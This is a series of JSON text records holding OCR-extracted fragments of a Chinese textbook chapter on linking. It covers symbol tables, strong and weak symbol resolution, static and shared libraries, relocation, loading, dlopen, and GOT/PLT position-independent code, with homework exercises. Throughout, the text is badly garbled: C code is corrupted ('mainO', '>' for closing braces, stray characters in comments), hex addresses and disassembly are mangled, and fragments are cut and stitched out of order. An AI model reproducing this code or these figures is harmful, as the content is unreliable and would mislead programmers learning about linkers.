    {"text": "相反，编译器 在.data和.bss中为每个定义分配空间，并在符号表中创建一个有唯一名字的本地链接器符 号。 比如，假设在同一模块中的两个函数定义了一个静态本地变量x: int f() { static int x = 0; return x; -5 > 6 int gO static int return x; n > 在这种情况中，编译器在.data中为两个整数分配空间，并引出（export)两个唯一的本 地链接器符号给汇编器。"},
    {"text": "给C语言初学者：利用static属性隐藏变量和函数名字 C 程序员使用static属性在模块内部隐藏变量和函数声明，就像你在 Java 和 C++ 中使用 public和private声明一样。"},
    {"text": "任何声明带有static属性的全局变 量或者函数都是模块私有的。 类似地，任何声明为不带static属性的全局变量和兩数都是公 共的，可以被其他模块访问。"},
    {"text": "code/link/elfstructs. c 丨 typedef struct { int name; /* String table offset */ int value ; /氺 Section offset, or VM address */ A int size; /* Object size in bytes */ char type :4, 卜 Data, func, section, or src file name (4 bits). */ binding :4; /* Local or global (4 bits) */ char reserved; /* Unused */ chax section; /* Section header index, ABS, UNDEF, */ /* Or COMMON */ } Elf.Symbol; code/linkJelf structs. c 图7-4 ELF符号表条目。"},
    {"text": "Num: Value Size Type Bind Ot Ndx Name 8: 0 8 OBJECT GLOBAL 0 3 buf 9: 0 17 FUNC GLOBAL 0 1 main 10: 0 0 NOTYPE GLOBAL 0 UND swap 在这个例子中，我们看到一个关于全局符号buf定义的条目，它是一个位于.data节 中偏移为零（即value)处的8字节目标。"},
    {"text": "相似地，下面是swap.o的符号表条目： Num Value Size Type Bind Ot Ndx Name 8 0 4 OBJECT GLOBAL 0 3 bufpO 9 0 0 N0TYPE GLOBAL 0 UND buf 10 0 39 FUNC GLOBAL 0 1 swap 11 4 4 OBJECT GLOBAL 0 COM bufpl 首先，我们看到一个关于全局符号bufpO定义的条目，它是从• data中偏移为0处开始 的一个4字节的已初始化目标。"},
    {"text": "最后 一个条目是全局符号buf P l,它是一个未初始化的4字节数据目标（要求4字节对齐)，最终当 这个模块被链接时它将作为一个.bss目标分配。"},
    {"text": "对于每个在 swap.o 中定义或引用的符号, 请指出它是否在模块 swap.o 中的 .symtab 节中有一个符号表条目。 如果是 ， 请指出定义该符号的 模块 （ swap.o 或者 main.o )、 符号类型（本地、全局或者外部）和它在模块中占据的节 （ .text 、 .data 或者 .bss )。 符号 swap.o .symtab 条目？"},
    {"text": "符号类型 在哪个模块中定义 节 buf bufpO bufpl swap temp 7.6 符号解析 链接器解析符号引用的方法是将每个引用与它输入的可重定位目标文件的符号表中的一个确 定的符号定义联系起来。"},
    {"text": "当编译器遇到一个不是在当前模块中定义的符号 (变量或函数名）时，它会假设该符号是在其他某个模块中定义的，生成一个链接器符号表条目， 并把它交给链接器处理。"},
    {"text": "比如，如果我们试着在一台Linux机器上编译和链 接下面的源文件： ! void foo(void); 2 int mainO { foo(); return 0; > 那么编译器会没有障碍地运行，但是当链接器无法解析对foo的弓丨用时，它会终止： unix> gcc -Wall -02 -o 1 inkerror linkerror.c /tmp/ccSz5uti.o: In function f main': /tmp/ccSz5uti.o(.text+0x7): undefined reference to f foo' collect2: Id returned 1 exit status 对全局符号的符号解析很棘手，还因为多个目标文件可能会定义相同的符号。"},
    {"text": "链接器如何解析多重定义的全局符号 在编译时，编译器向汇编器输出每个全局符号 ， 或者是强（strong)或者是弱（weak),而 汇编器把这个信息隐含地编码在可重定位目标文件的符号表里。"},
    {"text": "比如，假设我们试图编译和链接下面两个C模块： /* fool.c */ 1 /* barl.c */ int mainO 2 int mainO { 3 { • return 0; 4 return 0; > 5 > 在这种情况下，链接器将生成一条错误信息，因为强符号main被定义了多次（规则1): unix> gcc fool .c barl . c /tmp/cca015022.o: In function (main 1 : /tmp/cca015022.o(.text+OxO): multiple definition of ‘main 1 /tmp/ccaO15021.o(.text+OxO): first defined here 相似地 ， 链接器对于下面的模块也会生成一条错误信息，因为强符号x被定义了两次（规 则1): 卜 foo2 . c */ i h bar2.c */ int x = 15213; 2 int x = 15213; int mainO 4 void f () <■ 5 { return 0; 6 } > 然而，如果在一个模块里X未被初始化，那么链接器将安静地选择定义在另一个模块中的 强符号（规则2):\nh foo3.c */ • #include <stdio.h> void f(void); /* bar3.c 木 / int x;\n15212: void f() int x = 15213; int mainO\nf()；"},
    {"text": "注意，链接器通常不会表明它检测到多个x的定义 ： unix> gcc 一 o foobar3 foo3.c bar3.c unix> ./foobar3 x = 15212 如果X有两个弱定义，也会发生相同的事情（规则3)： 卜 bar4.c 木 / int x; 3 a void f() { x = 15212; /* foo4.c */ #include <stdio.h> void f(void); 4 int x; .6 int main() B { x = 15213; f 0 ; printf (\"x = 7od\\n\" , x) return 0; } 规则2和规则3的应用会造成一些不易察觉的运行时错误 ， 对于不警惕的程序员来说，这是 很难理解的，尤其当如果重复的符号定义还有不同的类型时。"},
    {"text": "考虑下面这个例子，其中x在一 个模块中定义为int,而在另一个模块中定义为double ： /* foo5.c */ i /* bar5.c 来 / #include <stdio.h> 2 double x; void f (void) ; 3 、 4 void f() int x = 15213; 5 { int y = 15212; 6 x = -0.0; 7 > int mainO { f 0; printf (\"x = 0x%x y = 0x%x \\n\", x, y); return 0; > 在一台IA32/Linux机器上 ， double类型是8个字节 ， 而int类型是4个字节。"},
    {"text": "这是一个细微而令人讨厌的错误，尤其是因为它是默默发生的，编译系统不会给出警告，而 且因为通常要在程序执行很久以后才表现出来，且远离错误的发生.地。"},
    {"text": ".当你怀疑有此类错误时，用像GCC-fno-common这样的选项调用链接器，这个选项会告 诉链接器，在遇到多重定义的全局符号时，输出一条警告信息。"},
    {"text": "A. /* Module 1 */ /* Module 2 */ int mainO int main; { int p2() { } REF (main. 1) —> DEF( ) REF (main. 2) —> DEF( .—) B. /* Module 1 */ /* Module 2 */ void mainO int main=l; { int p2() > REF (main. 1) ~> DEF ( • ) REF (main. 2) —> DEF( .一 _) C. /* Module 1 */ /* Module 2 */ int x; double x=l.0; void mainO int p2() { { . > REF(x.l) —>DEF( •—) REF(x.2) —> DEF(..„ „•. •) 7.6.2与静态库链接 迄今为止，我们都是假设链接器读取一组可重定位自标文件 ， 并把它们链接起来，成为一个 输出的可执行文件。 实际上 ， 所有的编译系统都提供一种机制，将所有相关的目标模块打包成为 一个单独的文件，称为 静态库 （static library),它可以用做链接器的输入。"},
    {"text": "ANSI C还在libm.a库中定义了一组广泛的浮点数学函数，如 sin、cos 和 sqrto 让我们来看看如果不使用静态库，编译器开发人员会使用什么方法来向用户提供这些函数。"},
    {"text": "另一种方法是将所有的标准C函数都放在一个单独的可重定位目标模块中（如libc.o 中)，应用程序员可以把这个模块链接到他们的可执行文件中： unix> gcc main.c /usr/1 ib/1 ibc.o 这种方法的优点是它将编译器的实现与标准函数的实现分离开来，并且仍然对程序员保持适 度的便利。"},
    {"text": "另一个大的缺点是，对任何标准函数的任何改变，无论多么小的 改变，都要求库的开发人员重新编译整个源文件 ， 这是一个非常耗时的操作，使得标准函数的开 发和维护变得很复杂。"},
    {"text": "然而，这种方法要求应用程序员显式地链接合适的目标樓块 到它们的可执行文件中，这是一个容易出错而且耗时的过程： unix> gcc main.c /usr/lib/printf.o /usr/lib/scanf.o ... 静态库概念被提出来 ， 以解决这些不同方法的缺点。"},
    {"text": "相关的函数可以被编译为独立的目标模 块，然后封装成一个单独的静态库文件。 然后，应用程序可以通过在命令行上指定单独的文件名 字来使用这些在库中定义的函数。"},
    {"text": "比如，使用标准C库和数学库中函数的程序可以用形式如下 的命令行来编译和链接： unix> gcc main.c /usr/1 ib/1 ibm.a /usr/lib/libc .a 在链接时，链接器将只拷贝被程序引用的目标模块，这就减少了可执行文件在磁盘和存储器 中的大小。 另一方面，应用程序员只需要包含较少的库文件的名字（实际上，C编译器驱动程序 总是传送libc. a给链接器，所以前面提到的对libc • a的引用是不必要的)。"},
    {"text": "■ code/link/addvec. c .code/link/multvec. c\nvoid addvec(int *x, int *y, int *z, int n) int i; for (i = 0; i < n; i ++).> z[i] = x[i] + y[i]; void multvec(int 木x, int *y, int *z, int n) int i; for (i = 0; i < n; i++) z[i] = x[i] * y[i];\ncode/link/multvec. c ■ code/link/addvec. c\na) addvec. b) multvec.o 图 7-5 libvector. 中的成员目标文件\n为了创建该库，我们将使用AR工具，具体如下： unix> gcc -c addvec.c multvec.c unix> ar res libvector.a addvec.o multvec.o 为了使用这个库，我们可以编写一个应用，比如图7-6中的main2.c,它调用addvec库 例程。"},
    {"text": "code/link/main2. c 1 2 3 A 5 6 7 9 0 1 2 3 4 /* main2.c */ #include <stdio.h> #include \"vector.h\" int x[2] = -Cl, 2>; int y[2] = {3, 4}; int z [2]; int mainO addvec(x, y, z, 2); printf(\"z = [%d %d]\\n\", z[0], z[1]); return 0; > ；"},
    {"text": "： code/link/main2. c 图7-6示例程序2 ：这个程序调用了静态libvector.a库中的成员函数 为了创建这个可执行文件，我们要编译和链接输入文件main • o和libvector • a ： unix> gcc -02 -c main2 . c unix> gcc -static -o p2 main2.o ./libvector.a 图7-7概括了链接器的行为。"},
    {"text": "-static参数告诉编译器驱动程序，链接器应该构建一个完 全链接的可执行目标文件，它可以加载到存储器并运行 ， 在加载时无需更进一步的链接。"},
    {"text": "源文件 main2 . c vector. h 可执行目标文件 图7-7与静态库链接 7.6.3链接器如何使用静态库来解析引用 虽然静态库是很有用而且重要的工具，但是它们同时也是程序员迷惑的源头，因为Unix链 接器使用它们解析外部引用的方式是令人困惑的。"},
    {"text": "）在这次扫描中，链接器维持一个可重定位目标文 件的集合五（这个集合中的文件会被合并起来形成可执行文件>,一个未解析的符号（即引用了 但是尚未定义的符号） 集合U， 以及一个在前面输入文件中已定义的符号集合D。"},
    {"text": "•如果/是一个存档文件，那么链接器就尝试匹配C7中未解析的符号和由存档文件成员定义 的符号。 如果某个存档文件成员m,定义了一个符号来解析C/中的一个引用，那么就将m 加到E中，并且链接器修改C/和D来反映m中的符号定义和引用。"},
    {"text": "比如，考虑下面的命令行发生了什么： unix> gcc -static ./libvector.a main2 .c /tmp/cc9XH6Rp.o: In function ^ain': /tmp/cc9XH6Rp.o(.text+0x18): undefined reference to f addvec' 在处理libvector.a时，（7是空的，所以没有libvector • a中的成员目标文件会添加 到£中。"},
    {"text": "如果各个库的成员是相互独立的（也就是 说没有成员引角另一个成员定义的符号)，那么这些库就可以按照任何顺序放置在命令行的结 尾处。 另一方面，如果库不是相互独立的，那么它们必须排序，使得对于每个被存档文件的成员外 部引用的符号s,在命令行中至少有一个s的定义是在对s的引用之后的。"},
    {"text": "比如，假设foo.c 调用libx.a和libz.a中的函数，而这两个库又调用liby.a中的函数。 那么 ， 在命令行中 libx.a和libz.a必须处在liby.a之前： unix> gcc foo.c libx.a libz.a liby.a .. 如果需要满足依赖需求,可以在命令行上重复库。 比如，假设foo.c调用libx.a中的函 数，该库又调用liby.a中的函数，而liby• a又调用libx• a中的函数。 那么libx.a必须 在命令行上重复出现： unix> gcc foo.c libx.a liby.a libx.a 作为另一种方法，我们可以将libx.a和liby.a合并成一个单独的存档文件。"},
    {"text": "p.o -> libx.a. p.o libx.a — liby.a. p.o libx.a-^- liby.a JLliby.alibx.a-^p.o. . . _ - * . , ■ ■ 7.7 重定位 ., . . ., i . . . . / ■；"},
    {"text": "一旦链接器完成了符号解析这一步 ， 它就把代码中的每个符号引用和确定的一个符号定义 (即它的一个输入目标模块中的一个符号表条目）联系起来。"},
    {"text": "所以，无论何时汇编器遇 到对最终位置未知的目标引用，它就会生成一个 重定位条目， 告诉链接器在将目标文件合并成可 执行文件时如何修改这个引用。"},
    {"text": "code/link/elf structs. c typedef struct {. int offset; /* Offset of the Reference to relocate */ int symbol:24, /* Symbol the reference should point to 氺 / type:8; ' /* Relocation type 本 / } Elf32«Rel; ： ；"},
    {"text": ", 当CPU执行一条使用PC相对 寻址的指令时 ， 它就将在指令中编码的32位值上加上PC的当前运行时值， 得到有效地址 (如call指令的目标)，PC值通常是存储器中下一条指令的地址。"},
    {"text": "foreach section s { foreach relocation entry r { refptr = s + r.offset; /* ptr to reference to be relocated */ 4 /* Relocate a PC-relative reference */ if (r.type == R_386JPC32) { refaddr = ADDR(s) + r .offset ; /* ref's run-time address */ *refptr = (unsigned) (ADDR(r.symbol) + *refptr - refaddr); > 0 /* Relocate an absolute reference */ if (r.type == R_386_32) *refptr = (unsigned) (ADDR(r.symbol) + *refptr); } > 图7-9重定位算法 重定位PC相对引用 回想我们在图7-la中的运行示例 ， main, o的 • text节中的main程序调用swap程序, 该程序是在swap.o中定义的。"},
    {"text": "7: R_386_PC32 swap relocation entry 从这个列表中，我们看到call指令开始于节偏移0x6处，由1个字节的操作码0xe8和 随后的32位引用Oxfffffffc (十进制-4)组成，它是以小端法字节顺序存储的。"},
    {"text": "）重定位条目r由3个字段组成： r.offset = 0x7 r. symbol = swap r.type = R_386_PC32 这些字段告诉链接器修改开始于偏移量0x7.处的32位PC相对引用，使得在运行时它指向 swap程序。 现在，假设链接器已经确定： ADDR(s) = ADDR(.text) = 0x80483b4\n和 ADDR(r.symbol) = ADDR(swap) = 0x80483c8 使用图7-9中的算法，链接器首先计算出引用的运行时地址（第7行）： refaddr = ADDR(s) + r.offset =0x80483b4 + 0x7 =0x80483bb 然后，它将引用从当前值（-4)修改为0x9,使得它在运行时指向swap程序（第8行）： ♦refptr = (unsigned) (ADDR(r.symbol) + *refptr - refaddr) =( 皿 signed) (0x80483c8 十 (-4) - 0x80483bb) =(unsigned) (0x9) 在得到的可执行目标文件中，call指令有如下的重定位的形式： 80483ba: e8 09 00 00 00 call 80483c8 <swap> suapO ；"},
    {"text": "为了执行这条指令，CPU执行以下的 步骤： push PC onto stack PC <- PC + 0x9 = 0x80483bf + 0x9 = 0x80483c8 因此，要执行的下一条指令就是swap程序的第一条指令，这当然就是我们想要的！"},
    {"text": "重定位绝对引用 回想图7-1中我们的示例程序，swap, o模块将全局指针bufpO初始化为指向全局数组 buf的第一个元素的地址： int *bufp0 = &buf[0]; 因为bufpO是一个已初始化的数据目标 ， 那么它将被存放在可重定位目标模块swap.o 的.data节中。"},
    {"text": "下面是swap, o中• data节的反汇编列表： <bufp0>: : 00 00 00 00 int *bu£p0 --- &bul[0] ; 0: R_386_32 buf Relocation entry 我们看到.data节包含一个32位引用 ， bufpO指针的值为0x0。"},
    {"text": "现在，假设链接 器已经确定： ADDR(r.symbol) = ADDR(buf) = 0x8049454 链接器使用图7-9中算法的第13行修改了引用 ： ♦refptr = (unsigned) (ADDR(r.symbol) + 3 refptr) =(unsigned) (0x8049454 + 0) =(unsigned) (0x8049454) 在得到的可执行目标文件中，引用有下面的重定位形式： 0804945c <bufp0>: 804945c: 54 94 04 08 Relocated! 总而言之，链接器决定在运行时变量 bufpO 将放置在存储器地址 0x804945c 处，并且被初始 化为 0x8049454, 这个值就是 buf 数组的运行时地址。"},
    {"text": "1 080483b4 <main>: 2 80483b4 55 3 80483b5 89 e5 4 80483b7 83 ec 08 5 80483ba e8 09 00 00 00 6 80483bf 31 cO 7 80483cl 89 ec 8 80483c3 5d 9 80483c4 c3 10 80483c5 90 11 80483c6 90 12 80483C7 90 13 080483c8 <swap>: 14 80483c8 55 15 80483c9 8b 15 5c 94 04 16 80483cf al 58 94 04 08 17 80483d4 89 e5 18 80483d6 c7 05 48 95 04 19 80483dd 94 04 08 20 80483e0 89 ec 21 80483e2 8b 0a 22 80483e4 89 02 23 80483e6 al 48 95 04 08 24 80483eb 89 08 25 80483ed 5d 26 80483ee c3 push mov sub call xor mov • pop ret nop nop nop push mov mov mov movl mov mov mov mov mov. pop ret %ebp %esp,%ebp $0x8, o /oesp 80483c8 <swap> swapO ；"},
    {"text": "7 0 eax,%eax 7 0 ebp,%esp 7«ebp %ebp， 0x804945c, %edx Get *bu±pO • 0x8049458,%eax Get buf[l] %esp,%ebp $0x8049458, 0x8049548 bufpl = &buf[l] °/ 0 ebp,%esp (%edx),%ecx %eax,(%edx) 0x8049548,%eax Get *bu.fpl %ecx,(%eax) %ebp .\n已重定位的 .text 节 code/link/pdata~exe. d 1 08049454 <buf>: i J 2 8049454: 01 00 00 00 02 00 00 00 3 0804945c <bufp0>: A 804945c: 54 94 04 08 Relocated! code/link/pdata-exe. d b)已重定位的.data节 图7-10可执行文件p的已重定位的• text和• data节。"},
    {"text": "我们的c程序， 开始时是一组ascii文本文件，已经被转化为一个二进制文件，且这个二进制文件包含加载程序 到存储器并运行它所需的所有信息。"},
    {"text": "ELF头部 段头部表 .init 只读存储器段（代码段） text •rodata\n.data .bss 读泻存储器段（数据段）\n•symtab\n• debug .line 不加载到存储器的符号表 和调试信息\n•strtab 节头表 描述目标/ 文件节• I\n图7-11典型的ELF可执行目标文件 可执行目标文件的格式类似于可重定位目标文件的格式。"},
    {"text": "code/link/p-exe. d Read-only code segment LOAD off 0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2 4 12 filesz 0x00000448 memsz 0x00000448 flags r-x Read/write data segment LOAD off 0x00000448 vaddr 0x08049448 paddr 0x08049448 align 2**12 filesz 0x000000e8 memsz 0x00000104 flags rw- 目标文件中的段大小\n从段头部表中，我们会看到根据可执行目标文件的内容初始化两个存储器段。 第1行和第2 行告诉我们第一个段（代码段）对齐到一个4KB (2 12 )的边界，有读/执行许可，开始于存储器 地址0x08048000处，总共的存储器大小是0x448字节，并且被初始化为可执行目标文件的头 0x448个字节，其中包括ELF头部、段头部表以及.init、• text和• rodata节。 第3行和行告诉我们第二个段（数据段）被对齐到一个4KB的边界，有读/写许可， 开始于存储器述址0x08049448处，总的存储器大小为0x104字节，并用从文件偏移0x448 处开始的0xe8个字节初始化，在这种情况下，偏移0x448处正是.data节的开始。"},
    {"text": "7.9 加载可执行目标文件 要运行可执行目标文件P,可以在Unix外壳的命令行中输入它的名字： unix> ./p 因为P不是一个内置的外壳命令，所以外壳会认为P是一个可执行目标文件，通过调用某个驻 留在存储器中称为加载器（loader)的操作系统代码来运行它。"},
    {"text": "加载器将可执行目标 文件中的代码和数据从磁盘拷贝到存储器中，然后通过跳转到程序的第一条指令或入口点（entry point)来运行该程序。 这个将程序拷贝到存储器并运行的过程叫做加载（loading)。"},
    {"text": "在可执行文件中段头部表的指导下, 加载器将可执行文件的相关内容拷 f对用户托码不可 I见的存储器 图7-13 Linux运行时存储器映像 0x08048000 X ‘ init • .：iodatal) 从可执行文件中加载 读焊段 ' C.datmi .'We) 、 -brk _讓 (由 maUocftl 建） 4esp (栈指针） 用練 (mmm m 贝到代码和数据段。"},
    {"text": "1 0x080480c0 <_start> : /* Entry point in.. text 氺/ 2 call —libc_init_first /* Startup code in .text */ 3 call _init /* Startup code in .init */ 4 call atexit /* Startup code in .text */ 5 call main /* Application main routine */ 6 call _exit /* Returns control •to OS */ 7 /* Control never reaches here */ 图 7 _14每个C程序中启动例程crtl.o的伪代码 注：没有显示将每个函数的参数压入栈中的代码 加载器实际上是如何工作的？"},
    {"text": "对于不够有耐心的读者，下面是关于加载实际上是如何工作的一个概述： Unix 系统中的每 个程序都运行在一个进程上下文中，有自己的虚拟地址空间。"},
    {"text": "为了构造图7-5中向量运算示例程序的共 享库libvector.so,我们会调用编译器，给链接器如下特殊指令： 皿ix> gcc -shared 一 fPIC -o libvector.so addvec.c multvec.c main2.c vector.h 图7-15用共享库来动态链接 -fPIC选项指示编译器生成与位置 无关的代码（下一节将详细讨论这个问 题）。"},
    {"text": "一旦创建了这个库，，我们随后就要将 它链接到图 7-6 的示例程序中 ： unix> gcc -o p2 main2 .c ,/libvector.so 这样就创建了一个可执行目标文件 P2, 而此文件的形式使得它在运行时可以和 libvector.so 链接。"},
    {"text": "接着，它注意到 p2 包含一个 .interp 节，这个节包含动态链接器的路径名，动 态链接器本身就是一个共享目标（比如，在 Linux 系统上的 LD-LINUX.SO )。"},
    {"text": "然后，动态链接器通过执行下面的重定位完成链接任务 ： • 重定位 libc. so 的文本和数据到某个存储器段。 • 重定位 libvector • so 的文本和数据到另一个存储器段。"},
    {"text": "7.11 从应用程序中加载和链接共享库 到此刻为止，我们已经讨论了在应用程序执行之前，即应用程序被加载时，动态链接器加载 和链接共享库的情景。 然而，应用程序还可能在它运行时要求动态链接器加载和链接任意共享 库，而无需在编译时链接那些库到应用中。"},
    {"text": "微软Windows应用的开发者常常利用共享库来分发软件更新。 他们生成一个 共享库的新版本，然后用户可以下载，并用它替代当前的版本。 下一次他们运行应用程序 时，应用将自动链接和加载新的共享库。"},
    {"text": "当一个来自Web浏览器的请求到达 时，服务器动态地加载和链接适当的函数，然后直接调用它，而不是使用fork和execve在子 进程的上下文中运行函数。"},
    {"text": "flag参数必须要么包括RTLD一NOW,该标志告诉链接器立即 解析对外部符号的引用，要么包括RTLD一LAZY标志，该标志指示链接器推迟符号解析直到执行 来自库中的代码。"},
    {"text": "#include <dlfcn.h> void *dlsym(void *handle , cl lar *symbol); 返回：若成功则为指向符号的指针，若出错则为 NULL 。 dlsym函数的输入是一个指向前面已经打开共享库的句柄和一个符号名字，如果该符号存在, 就返回符号的地址，否则返回NULL。 #include <dlfcn.h> int dlclose (void *handle); 返回：若成功则为 0, 若出错则为 -1 。"},
    {"text": "#include <dlfcn.h> const char *dlerror(void); 返回：如果前面对 dlopen 、 dlsym 或 dlclose 的调用失败， 则为错误 « 息，如果前面的调用成功，则为 NULL 。 www.TopSage.com\ndlerror函数返回一个字符串，它描述的是调用dlopen、dlsym或者dlclose函数时发生 的最近的错误，如果没有错误发生，就返回NULL。"},
    {"text": "要编译这个程序，我们将以下面的方式调用GCC : unix> gcc -rdynami c -02 -o p3 dll .c -ldl code/link/dlLc 1 #include <stdio.h> 2 #include <stdlil?.h> 3 #include <dlfcn.h> -1 5 int x[2] ={1, 2}; 6 int y[2] = {3, 4>; 7 int z[2] i \\ 8 9 int mainO void *handle; void (*addvec)(int *, int *, int *, int); char *error; /* Dynamically load shared library that contains addvec() */ handle = dlopen(\"./libvector. so\", RTLD_LAZY>; if (!handle) { fprintf(stderr, \"%s\\n\", dlerror()); exit(1); > /* Get a pointer to the addvec() function we just loaded */ addvec = dlsym(handle, \"addvec\"); if ((error = dlerror()) != NULL) { fprintf(stderr, \"%s\\n\", error); exit(1); > /* Kow we can call addvec() just like any other function */ addvec(x, y, z, 2); printf(\"z = [%d %d]\\n\", z[0], z[1]); /* Unload the shared library */ if (dlclose (handle) < 0) •[ fprintf(stderr, \"%s\\n\", dlerror()); exit ⑴；"},
    {"text": "> return 0; ： code/link/dlLc 图 7-16 — 个动态加载和链接共享库 libvector • so 的应用程序 共享库和 Java 本地接口 Java定义了 一个标准调用规则，叫做Java本地接口（Java Native Interface, JNI),它允许 Java程序调用“本地的” C和C++函数。"},
    {"text": "当一个正在运行的Java程序试图调用函数foo时，Java解释程序利用 dlopen接口（或者与其类似的接口）动态链接和加载foo. so,然后再调用foo。"},
    {"text": "7.12 与位置无关的代码（ PIC) 共享库的一个主要目的就是允许多个正在运行的进程共享存储器中相同的库代码，因而节约 宝贵的存储器资源。"},
    {"text": "在一个IA32系统中 ， 对同一个目标模块中过程的调用是不需要特殊处理的，因为引用是PC 相对的 ， 已知偏移量就已经是PIC 了（参见练习题7.4)。"},
    {"text": "1.PIC 数据引用 编译器通过运用以下这个有趣的事实来生成对全局变量的PIC引用：无论我们在存储器中 的何处加载一个目标模块（包括共享目标模块)，数据段总是被分配成紧随在代码段后面。"},
    {"text": "在GOT中，每个被这个目标模块引用的全局数据对象都有一个条目。 编译 器还为GOT中每个条目生成一个重定位记录。 在加载时，动态链接器会重定位GOT中的每个 条目，使得它包含正确的绝对地址。 每个引用全局数据的目标模块都有自己的GOT。"},
    {"text": "在运行时，使用下面形式的代码，通过GOT间接地引用每个全局变量： call L1 ebx contains the cm-.rent PC ehx points to the GOT entry for var reference indirect through the GOT LI: popl %ebx addl $VARDFF, %ebx movl (%ebx) , %eax movl (%eax) , %eax 在这段非常有趣的代码中，对L1的调用将返回地址（正好就是popl指令的地址）压入栈 中。"},
    {"text": "2. PIC函数调用 PIC代码当然可以用相同.的方法来解析外部过程调用： call Ll Ll ： popl %ebx ■ ebx contains the current PC addl $PR0C0FF, %ebx ebx points to GOT entry for proc call * (%ebx) call indirect through the GOT 不过，这种方法对每一个攀行时过程调用都要求三条额外的指令。"},
    {"text": "头三条GOT条目是特殊的： GOT[0]包含.dynamic段的地址，这个段包含了动态链接器用来绑定过程地址的信息，比如符 号表的位置和重定位信息。"},
    {"text": "地址 条目 内容 描述 08049674 GOT[0] 0804969c .dynamic节的地址 08049678 GOT[l] 4000a9f8 链接器的标识信息 0804967c GOT[2] 4000596f 动态链接器中的人口点 • • 08049680 GOT[3] 0804845a PLT[1]中 pushl 地址(printf) 08049684 GOT[4] 0804846a PLT[2]中 pushl 地址(addvec) 图7-17可执行文件p2的全局偏移量表（GOT)。"},
    {"text": "在图中，PLT[1]对应于printf, PLT[2]对应于addvec。 初始地，在程序被动态链接并开始执行后，过程printf和addvec被分别绑定到它们相 应的PLT条目中的第一条指令上。"},
    {"text": "比如，对addvec的调用有如下形式： 80485bb: e8 a4 fe ff ff call 8048464 <addvec> 当addvec第一次被调用时，控制传递到PLT[2]的第一条指令，该指令通过G0T[4]执行一个 间接跳转。"},
    {"text": "动态链接器用两个栈条目来确定addvec的位置，用这个地 址覆盖G0T[4],并把控制传递给addvec\nPLTCO] 08048444 804844a 8048450 8048452 ff 35 78 96 04 08 ff 25 7c 96 04 08 00 00 00 00 M 25 80 96 04 08 jmp 00 00 00 00 pushl e0 ff ff ff jmp pushl 0x8049678 jmp *0x804967c PLTtl] -printf> 8048454； : 804845a：: 804845f：: *0x8049680 $0x0 8048444 jmp io *GOT[3] ID for printf jmp to PLT[0] PLT[2] <addvec> 8048464: ff 25 84 96 04 08 jmp *0x8049684 jump to *G0T[4] 804846a: 68 08 00 Q0 00 puskl $0x8 ID for addvec 804846f: e9 dO ff ff ff jmp 8048444 jmp to PLT[0] 〈other PLT entries〉 push &GQT[.l] jmp to *G0T[2](linker) padding padding\n图7-18可执行文件P2的过程链接表（PLT)。"},
    {"text": "链 接器处理称为目标文件的二进制文件，它有三种不同的形式：可重定位的、可执行的和共享的。 可重定位的目标文件由静态链接器合并成一个可执行的目标文件，它可以加载到存储器中并执\n行。"},
    {"text": "共享目标文件（共享库）是在运行时由动态链接器链接和加载的，或者隐含地在调用程序被 加载和开始执行时，或者根据需要在程f调用dlopen库的函 数时。"},
    {"text": "链接器的两个主要任务是符号解析_重定位，符号解析将目标文件中的每个全局符号都绑定 到一个唯一的定义，而重定位确定每个符号的最终存储器地址，并修改对那些目标的引用。"},
    {"text": "家庭作业 *7.6考虑下面的swap.c函数版本，它计算自己被调用的次数： extern int buf []; 1 int *bufpO = &buf [0]; static int *bufpi; 5 static void incr() static int count=0; count+ 十； void swapO { int temp; 16 1 / incrO ; bufpl = &buf [1]; temp = *bufpO; *bufpO = *bufpi; *bufpl = temp; 对于每个 swap.o 中定义和引用的符号，请指出它是否在模块 swap.o 的 .symtab 节中有符号表条 目。"},
    {"text": "如果是这样，请指出定义该符号的模块（ swap.o 或 main.o) 、符号类型（本地、全局或外部） 以及它在模块中所处的节（ .text 、 .data 或 .bss )。"},
    {"text": "符号类型 定义符号的模块 节 buf bufpO bufpl swap temp incr count 7.7不改变任何变量名字，修改7.6.1节中的bar5.c,使得fooic输出x和y的正确值（也就是整数 15213和15212的十六进制表示）。"},
    {"text": "如果链接器从定义中任意选择一个（规则 3),那么写 “UNKNOWN' /•* Module 1 */ /* Module 2 */ int mainO static int main=l; { int p2() > { > REF (main. 1) --> DEF( . ) REF (main. 2) --> DEF( ) /* Module 2 double x; int p2() } /* Module 1 */ int x; void mainO > REF (x.l) --> DEF ( • ) REF (x.2) --> DEF ( • „) C. /* Module 1 */ /* Module 2 */ int x=l; double x=1.0; void mainO int p2() } > REF(x.l) —>DEF( •—) REF(x.2) —> DEF(— — •—) *7.9考虑下面的程序，它由两个目标模块组成： /* bar6.c */ #include <stdio.h> 3 char main; 5 void p2() { printf (\"0x%pc\\n\", main); } /* foo6‘c */ void p2(void) 3 int mainO { p2()；"},
    {"text": "对于下面的每个场景 , 给出使得静态链接器能够解析所有符号引甩的最小的命令行 (含有最少数量的目标文件和库参数的命令）： p.o 一 libx.a 一 p.o. p.o -** libx.a — liby.a 和 liby.a 一 libx.a. p.o 一 libx. a 一 liby. a 一 libz .a 和 liby .a 一 libx. a 一 libz .a. *7.11图7-12中的段头部表明数据段占用了存储器中0x104个字节。"},
    {"text": "1 00000000 <swap>: 2 0: 55 push %ebp 3 1: 8b 15 00 00 00 00 mov 0x0,%edx Get *bufp0-&buf[0] 4 3: R_386_32 bufpO Relocation entry 5 7: al 04 00 00 00 mov 0x4,%eax Get buf [1] 6 8: R.386.32 buf Relocation entry 7 G 89 e5 mov %esp,%ebp 8 e c7 05 00 00 00 00 04 movl $0x4,0x0 bufpl = &buf[l]; 9 15 00 00 00 10 11 10: 14: R_386，32 bufpl R_386_32 buf Relocation entry Relocation entry 12 18 89 ec mov %ebp,7oesp 13 la 8b 0a mov (%edx),%ecx temp = buf [0]; 14 lc 89 02 mov %eax,(%edx) buf [0]=buf [1]; 15 le al 00 00 00 00 mov 0x0,%eax Get *bufpl=&buf[l] 16 If: R_386_32 bufpl Relocation entry 17 23: 89 08 mov %ecx,(%eax) buf[l]=temp; 18 25: 5d pop %ebp 19 26: c3 ret 图7-19练习题7.12的代码和重定位条目 图7-10中的行号 地址 值 7.13考虑图7-20中的C代码和相应的可重定位目标模块。"},
